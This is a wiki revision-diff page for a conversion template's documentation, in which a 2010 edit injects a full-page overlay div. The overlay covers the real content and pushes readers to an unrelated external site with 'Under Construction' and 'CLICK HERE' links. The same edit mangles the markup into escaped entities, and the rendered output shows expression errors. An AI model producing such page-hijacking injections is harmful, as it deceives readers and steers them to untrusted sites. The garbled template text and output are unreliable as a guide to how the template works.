Difference between revisions of "Template:M to ft in/doc"

From MidsouthMakers - Memphis Area Hackerpace
Jump to navigation Jump to search
m (1 revision)
 
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://odygobyciqi.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://odygobyciqi.co.cc CLICK HERE]=
 +
----
 +
</div>
 
{{Documentation subpage}}
 
{{Documentation subpage}}
<!-- PLEASE ADD CATEGORIES AND INTERWIKIS AT THE BOTTOM OF THIS PAGE -->
+
&lt;!-- PLEASE ADD CATEGORIES AND INTERWIKIS AT THE BOTTOM OF THIS PAGE -->
  
 
=== Usage ===
 
=== Usage ===
:<nowiki>{{m to ft in| num | abbr | spell | precision | wiki | frac}}</nowiki>
+
:&lt;nowiki>{{m to ft in| num | abbr | spell | precision | wiki | frac}}&lt;/nowiki>
  
 
;Examples
 
;Examples
 
:''[[WP:MOSNUM#Units of measurement|Manual of Style]] notation'':
 
:''[[WP:MOSNUM#Units of measurement|Manual of Style]] notation'':
:*<nowiki>{{m to ft in|9}}</nowiki>&nbsp;&rarr; {{m to ft in|9}}
+
:*&lt;nowiki>{{m to ft in|9}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|9}}
:*<nowiki>{{m to ft in|9|frac=7}}</nowiki>&nbsp;&rarr; {{m to ft in|9|frac=7}}
+
:*&lt;nowiki>{{m to ft in|9|frac=7}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|9|frac=7}}
:*<nowiki>{{m to ft in|9|frac=16}}</nowiki>&nbsp;&rarr; {{m to ft in|9|frac=16}}
+
:*&lt;nowiki>{{m to ft in|9|frac=16}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|9|frac=16}}
 
:''Short notation'':
 
:''Short notation'':
:*<nowiki>{{m to ft in|9|abbr=yes}}</nowiki>&nbsp;&rarr; {{m to ft in|9|abbr=yes}}
+
:*&lt;nowiki>{{m to ft in|9|abbr=yes}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|9|abbr=yes}}
:*<nowiki>{{m to ft in|9|abbr=yes|frac=7}}</nowiki>&nbsp;&rarr; {{m to ft in|9|abbr=yes|frac=7}}
+
:*&lt;nowiki>{{m to ft in|9|abbr=yes|frac=7}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|9|abbr=yes|frac=7}}
:*<nowiki>{{m to ft in|9|abbr=yes|frac=16}}</nowiki>&nbsp;&rarr; {{m to ft in|9|abbr=yes|frac=16}}
+
:*&lt;nowiki>{{m to ft in|9|abbr=yes|frac=16}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|9|abbr=yes|frac=16}}
 
:''Full notation'':
 
:''Full notation'':
:*<nowiki>{{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=10}}</nowiki>&nbsp;&rarr; {{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=10}}
+
:*&lt;nowiki>{{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=10}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=10}}
:*<nowiki>{{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=7}}</nowiki>&nbsp;&rarr; {{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=7}}
+
:*&lt;nowiki>{{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=7}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=7}}
:*<nowiki>{{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=16}}</nowiki>&nbsp;&rarr; {{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=16}}
+
:*&lt;nowiki>{{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=16}}&lt;/nowiki>&amp;nbsp;&amp;rarr; {{m to ft in|num=9|abbr=no|spell=Commonwealth|precision=2|wiki=yes|frac=16}}
 
''Italicized'' parameters are optional:
 
''Italicized'' parameters are optional:
 
*'''num''' is a required parameter, which specifies the number of meters to be converted to feet and inches.  Please do not format this parameter; i.e., use 1234 instead of 1,234.
 
*'''num''' is a required parameter, which specifies the number of meters to be converted to feet and inches.  Please do not format this parameter; i.e., use 1234 instead of 1,234.
 
*'''''abbr''''' can take values of either ''mos'', ''yes'', or ''no''.  ''Mos'' will show the names of the units as specified in the [[WP:MOSNUM#Units of measurement|Manual of Style for dates and numbers]] (meters, ft/in); ''yes'' will show the abbreviated names of the units (m, ft/in); and ''no'' will show the full names of the units (meters, feet/inches).  The default value is ''mos''.
 
*'''''abbr''''' can take values of either ''mos'', ''yes'', or ''no''.  ''Mos'' will show the names of the units as specified in the [[WP:MOSNUM#Units of measurement|Manual of Style for dates and numbers]] (meters, ft/in); ''yes'' will show the abbreviated names of the units (m, ft/in); and ''no'' will show the full names of the units (meters, feet/inches).  The default value is ''mos''.
*'''''spell''''' can take values of ''American'' or ''Commonwealth'' and is only meaningful when ''abbr'' is set to ''no''.  ''American'' will use "meters", and ''Commonwealth''&mdash;"metres".  The default value is ''American''.
+
*'''''spell''''' can take values of ''American'' or ''Commonwealth'' and is only meaningful when ''abbr'' is set to ''no''.  ''American'' will use "meters", and ''Commonwealth''&amp;mdash;"metres".  The default value is ''American''.
*'''''precision''''' is the number of decimal digits in the converted value.  The default value is&nbsp;1.
+
*'''''precision''''' is the number of decimal digits in the converted value.  The default value is&amp;nbsp;1.
 
*'''''wiki''''' specifies whether the names of the units should be wikified or not and can take values of either ''yes'' or ''no''. The default value is ''no''.
 
*'''''wiki''''' specifies whether the names of the units should be wikified or not and can take values of either ''yes'' or ''no''. The default value is ''no''.
 
*'''''frac''''' specifies whether the output of inches should be decimal or in vulgar fractions and can take integer values.  The value of ''10'' will lead to showing fractions of inches as decimals, while any other number will lead to showing fractions of inches as vulgar fractions (e.g., ''16'' will produce sixteenths).  Output vulgar fractions are resolved in lower terms whenever possible.
 
*'''''frac''''' specifies whether the output of inches should be decimal or in vulgar fractions and can take integer values.  The value of ''10'' will lead to showing fractions of inches as decimals, while any other number will lead to showing fractions of inches as vulgar fractions (e.g., ''16'' will produce sixteenths).  Output vulgar fractions are resolved in lower terms whenever possible.
Line 32: Line 40:
 
*{{tl|m to ft}}
 
*{{tl|m to ft}}
 
*{{tl|ft to m}}
 
*{{tl|ft to m}}
*{{tlx|convert|<nowiki>14|m|ftin|sp=us</nowiki>}}
+
*{{tlx|convert|&lt;nowiki>14|m|ftin|sp=us&lt;/nowiki>}}
*{{tlx|height|<nowiki>m=1.72</nowiki>}}
+
*{{tlx|height|&lt;nowiki>m=1.72&lt;/nowiki>}}
  
<includeonly>
+
&lt;includeonly>
<!-- CATEGORIES AND INTERWIKIS HERE, THANKS -->
+
&lt;!-- CATEGORIES AND INTERWIKIS HERE, THANKS -->
 
[[Category:Conversion templates|{{PAGENAME}}]]
 
[[Category:Conversion templates|{{PAGENAME}}]]
  
</includeonly>
+
&lt;/includeonly>

Revision as of 06:22, 24 November 2010



This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page


CLICK HERE


<!-- PLEASE ADD CATEGORIES AND INTERWIKIS AT THE BOTTOM OF THIS PAGE -->

Usage

<nowiki>num meters (Expression error: Unrecognized word "num". ft Expression error: Unrecognized word "num". in)</nowiki>
Examples
Manual of Style notation:
  • <nowiki>9 meters (29 ft 6.3 in)</nowiki>&nbsp;&rarr; 9 meters (29 ft 6.3 in)
  • <nowiki>9 meters (29 ft 6 27 in)</nowiki>&nbsp;&rarr; 9 meters (29 ft 6 27 in)
  • <nowiki>9 meters (29 ft 6 516 in)</nowiki>&nbsp;&rarr; 9 meters (29 ft 6 516 in)
Short notation:
  • <nowiki>9 m (29 ft 6.3 in)</nowiki>&nbsp;&rarr; 9 m (29 ft 6.3 in)
  • <nowiki>9 m (29 ft 6 27 in)</nowiki>&nbsp;&rarr; 9 m (29 ft 6 27 in)
  • <nowiki>9 m (29 ft 6 516 in)</nowiki>&nbsp;&rarr; 9 m (29 ft 6 516 in)
Full notation:

Italicized parameters are optional:

  • num is a required parameter, which specifies the number of meters to be converted to feet and inches. Please do not format this parameter; i.e., use 1234 instead of 1,234.
  • abbr can take values of either mos, yes, or no. Mos will show the names of the units as specified in the Manual of Style for dates and numbers (meters, ft/in); yes will show the abbreviated names of the units (m, ft/in); and no will show the full names of the units (meters, feet/inches). The default value is mos.
  • spell can take values of American or Commonwealth and is only meaningful when abbr is set to no. American will use "meters", and Commonwealth&mdash;"metres". The default value is American.
  • precision is the number of decimal digits in the converted value. The default value is&nbsp;1.
  • wiki specifies whether the names of the units should be wikified or not and can take values of either yes or no. The default value is no.
  • frac specifies whether the output of inches should be decimal or in vulgar fractions and can take integer values. The value of 10 will lead to showing fractions of inches as decimals, while any other number will lead to showing fractions of inches as vulgar fractions (e.g., 16 will produce sixteenths). Output vulgar fractions are resolved in lower terms whenever possible.

Capitalization of the parameters is unimportant.

See also

<includeonly> <!-- CATEGORIES AND INTERWIKIS HERE, THANKS -->

</includeonly>